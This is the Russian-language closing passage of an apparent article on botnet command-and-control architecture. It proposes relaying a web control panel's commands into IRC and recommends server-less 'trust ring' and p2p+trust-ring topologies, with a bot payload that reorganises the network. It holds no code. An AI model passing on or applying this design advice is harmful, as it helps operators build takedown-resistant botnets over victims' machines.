Если к ботнету нужен красивый веб-интерфейс, возможно, имеет смысл написать дополнительную программу, которая будет забирать команды с веб-сервера и отправлять их в IRC. По крайней мере, рассмотрите этот подход.

Универсальные решения — это трастринг и p2p+трастринг. Такие сети будут идеально работать независимо от того, сколько в них узлов, 1 или 1 000 000, безо всяких серверов.

Ввиду наличия у «чистого p2p» явных недостатков по сравнению с кольцом, мне остается неясным, почему он считается удачным решением. Наверняка в ботах, из которых состоит сеть, есть много полезных функций. Почему бы не добавить еще один маленький payload — мобилизацию сети в трастринг?

Вот, пожалуй, и все. Буду рад любым вашим комментариям. Особенно с критикой, указаниями на неточности/противоречия в тексте и вашими идеями по поводу поднятой темы.

Публикации по теме